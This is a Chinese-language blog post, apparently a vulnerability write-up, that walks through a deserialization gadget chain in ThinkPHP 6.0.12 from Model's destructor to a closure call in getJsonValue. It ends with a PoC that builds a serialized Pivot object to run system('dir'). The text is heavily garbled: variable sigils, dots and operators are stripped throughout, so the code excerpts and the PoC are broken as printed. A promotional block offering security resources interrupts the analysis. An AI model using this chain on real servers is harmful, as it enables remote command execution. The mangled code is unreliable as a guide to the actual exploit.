环境 Thinkphp6。0。12LTS(目前最新版本); PHP7。3。4。安装composercreateprojecttopthinkthinktp6测试代码 漏洞分析 漏洞起点不是desturct就是wakeup全局搜索下,起点在vendoropthinkhinkormsrcModel。php 只要把thislazySave设为True,就会调用了save方法。 【一所有资源关注我,私信回复资料获取一】 1、网络安全学习路线 2、电子书籍(白帽子) 3、安全大厂内部视频 4、100份src文档 5、常见安全面试题 6、ctf大赛经典题目解析 7、全套工具包 8、应急响应笔记 跟进save方法,漏洞方法是updateData,但需要绕过且让为True,调用isEmpty方法。 publicfunctionsave(arraydata〔〕,stringsequencenull):bool{数据对象赋值thissetAttrs(data);if(thisisEmpty()falsethistrigger(BeforeWrite)){}resultthisexists?thisupdateData():thisinsertData(sequence); 跟进isEmpty方法,只要thisdata不为空就行。 thistrigger方法默认返回就不是false,跟进updateData方法。漏洞方法是checkAllowFields默认就会触发。 protectedfunctionupdateData():bool{事件回调if(falsethistrigger(BeforeUpdate)){}thischeckData();获取有更新的数据datathisgetChangedData();if(empty(data)){关联更新if(!empty(thisrelationWrite)){thisautoRelationUpdate();}}if(thisautoWriteTimestampthisupdateTime){自动写入更新时间data〔thisupdateTime〕thisautoWriteTimestamp();thisdata〔thisupdateTime〕data〔thisupdateTime〕;}检查允许字段allowFieldsthischeckAllowFields(); 跟进checkAllowFields方法,漏洞方法是db,默认也是会触发该方法,继续跟进。 protectedfunctioncheckAllowFields():array{检测字段if(empty(thisfield)){if(!empty(thisschema)){thisfieldarraykeys(arraymerge(thisschema,thisjsonType));}else{querythisdb(); 跟进db方法,存在thistable。thissuffix字符串拼接,可以触发toString魔术方法,把thistable设为触发toString类即可。 publicfunctiondb(scope〔〕):Query{varQueryqueryqueryself::dbconnect(thisconnection)name(thisname。thissuffix)pk(thispk);if(!empty(thistable)){querytable(thistable。thissuffix);} 全局搜索toString方法,最后选择vendoropthinkhinkormsrcmodelconcernConversion。php类中的toString方法。 跟进toString方法,调用了toJson方法。 跟进toJson方法,调用了toArray方法,然后以JSON格式返回。 跟进toArray方法,漏洞方法是getAtrr默认就会触发,只需把data设为数组就行。 publicfunctiontoArray():array{item〔〕;hasVforeach(thisvisibleaskeyval){if(isstring(val)){if(strpos(val,。)){〔relation,name〕explode(。,val);thisvisible〔relation〕〔〕}else{thisvisible〔val〕hasV}unset(thisvisible〔key〕);}}foreach(thishiddenaskeyval){if(isstring(val)){if(strpos(val,。)){〔relation,name〕explode(。,val);thishidden〔relation〕〔〕}else{thishidden〔val〕}unset(thishidden〔key〕);}}合并关联数据dataarraymerge(thisdata,thisrelation);foreach(dataaskeyval){if(valinstanceofModelvalinstanceofModelCollection){关联模型对象if(isset(thisvisible〔key〕)isarray(thisvisible〔key〕)){valvisible(thisvisible〔key〕);}elseif(isset(thishidden〔key〕)isarray(thishidden〔key〕)){valhidden(thishidden〔key〕);}关联模型对象if(!isset(thishidden〔key〕)true!thishidden〔key〕){item〔key〕valtoArray();}}elseif(isset(thisvisible〔key〕)){item〔key〕thisgetAttr(key);}elseif(!isset(thishidden〔key〕)!hasVisible){item〔key〕thisgetAttr(key); 跟进getAttr方法,漏洞方法是getValue,但传入getValue方法中的value是由getData方法得到的。 publicfunctiongetAttr(stringname){try{valuethisgetData(name);}catch(InvalidArgumentExceptione){relationthisisRelationAttr(name);}returnthisgetValue(name,value,relation); 跟进getData方法,thisdata可控,fieldName来自getRealFieldName方法。 跟进getRealFieldName方法,默认直接返回传入的参数。所以fieldName也可控,也就是传入getValue的value参数可控。 跟进getValue方法,在Thinkphp6。0。8触发的漏洞点在处,但在Thinkphp6。0。12时已经对传入的closure进行判断。此次漏洞方法的getJsonValue方法。但需要经过两个if判断,thiswithAttr和thisjson都可控,可顺利进入getJsonValue方法。 protectedfunctiongetValue(stringname,value,relationfalse){检测属性获取器fieldNamethisgetRealFieldName(name);if(arraykeyexists(fieldName,thisget)){returnthisget〔fieldName〕;}methodget。Str::studly(name)。Aif(isset(thiswithAttr〔fieldName〕)){if(relation){valuethisgetRelationValue(relation);}if(inarray(fieldName,thisjson)isarray(thiswithAttr〔fieldName〕)){valuethisgetJsonValue(fieldName,value); 跟进getJsonValue方法,触发漏洞的点在closure(value〔key〕,value)只要令thisjsonAssoc为True就行。 closure和value都可控。 protectedfunctiongetJsonValue(name,value){if(isnull(value)){}foreach(thiswithAttr〔name〕askeyclosure){if(thisjsonAssoc){value〔key〕closure(value〔key〕,value);完整POP链条 POC编写?phpnamespacethink{abstractclassModel{privatelazySprivatedata〔〕;privatewithAttr〔〕;protectedjson〔〕;protectedjsonAfunctionconstruct(obj){thislazySaveTthisdata〔whoami〔dir〕〕;thisexistsTthiswithAttr〔whoami〔system〕〕;thisjson〔whoami,〔whoami〕〕;thisjsonAssocT}}}namespacethinkmodel{usethinkMclassPivotextendsModel{}}namespace{echo(base64encode(serialize(newthinkmodelPivot(newthinkmodelPivot()))));}利用